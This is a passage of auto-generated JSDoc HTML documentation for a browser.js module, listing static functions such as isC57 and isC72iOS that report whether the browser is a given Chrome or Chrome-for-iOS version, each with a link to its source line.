56.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1752\">line 1752</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC56iOS\"><span class=\"type-signature\">(static) </span>isC56iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 56.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1760\">line 1760</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC57\"><span class=\"type-signature\">(static) </span>isC57<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 57.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1768\">line 1768</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC57iOS\"><span class=\"type-signature\">(static) </span>isC57iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 57.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1776\">line 1776</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC58\"><span class=\"type-signature\">(static) </span>isC58<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 58.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1784\">line 1784</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC58iOS\"><span class=\"type-signature\">(static) </span>isC58iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 58.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1792\">line 1792</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC59\"><span class=\"type-signature\">(static) </span>isC59<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 59.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1800\">line 1800</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC59iOS\"><span class=\"type-signature\">(static) </span>isC59iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 59.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1808\">line 1808</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC6\"><span class=\"type-signature\">(static) </span>isC6<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 6.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1056\">line 1056</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC60\"><span class=\"type-signature\">(static) </span>isC60<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 60.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1816\">line 1816</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC60iOS\"><span class=\"type-signature\">(static) </span>isC60iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 60.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1824\">line 1824</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC61\"><span class=\"type-signature\">(static) </span>isC61<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 61.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1832\">line 1832</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC61iOS\"><span class=\"type-signature\">(static) </span>isC61iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 61.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1840\">line 1840</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC62\"><span class=\"type-signature\">(static) </span>isC62<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 62.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1848\">line 1848</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC62iOS\"><span class=\"type-signature\">(static) </span>isC62iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 62.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1856\">line 1856</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC63\"><span class=\"type-signature\">(static) </span>isC63<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 63.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1864\">line 1864</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC63iOS\"><span class=\"type-signature\">(static) </span>isC63iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 63.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1872\">line 1872</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC64\"><span class=\"type-signature\">(static) </span>isC64<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 64.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1880\">line 1880</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC64iOS\"><span class=\"type-signature\">(static) </span>isC64iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 64.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1888\">line 1888</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC65\"><span class=\"type-signature\">(static) </span>isC65<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 65.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1896\">line 1896</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC65iOS\"><span class=\"type-signature\">(static) </span>isC65iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 65.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1904\">line 1904</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC66\"><span class=\"type-signature\">(static) </span>isC66<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 66.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1912\">line 1912</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC66iOS\"><span class=\"type-signature\">(static) </span>isC66iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 66.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1920\">line 1920</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC67\"><span class=\"type-signature\">(static) </span>isC67<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 67.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1928\">line 1928</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC67iOS\"><span class=\"type-signature\">(static) </span>isC67iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 67.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1936\">line 1936</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC68\"><span class=\"type-signature\">(static) </span>isC68<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 68.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1944\">line 1944</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC68iOS\"><span class=\"type-signature\">(static) </span>isC68iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 68.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1952\">line 1952</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC69\"><span class=\"type-signature\">(static) </span>isC69<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 69.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1960\">line 1960</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC69iOS\"><span class=\"type-signature\">(static) </span>isC69iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 69.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1968\">line 1968</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC7\"><span class=\"type-signature\">(static) </span>isC7<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 7.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1064\">line 1064</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC70\"><span class=\"type-signature\">(static) </span>isC70<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 70.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1976\">line 1976</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC70iOS\"><span class=\"type-signature\">(static) </span>isC70iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 70.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1984\">line 1984</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC71\"><span class=\"type-signature\">(static) </span>isC71<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 71.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1992\">line 1992</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC71iOS\"><span class=\"type-signature\">(static) </span>isC71iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 71.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2000\">line 2000</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC72\"><span class=\"type-signature\">(static) </span>isC72<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 72.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2008\">line 2008</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC72iOS\"><span class=\"type-signature\">(static) </span>isC72iOS<span class=\"signature\">()</span><span 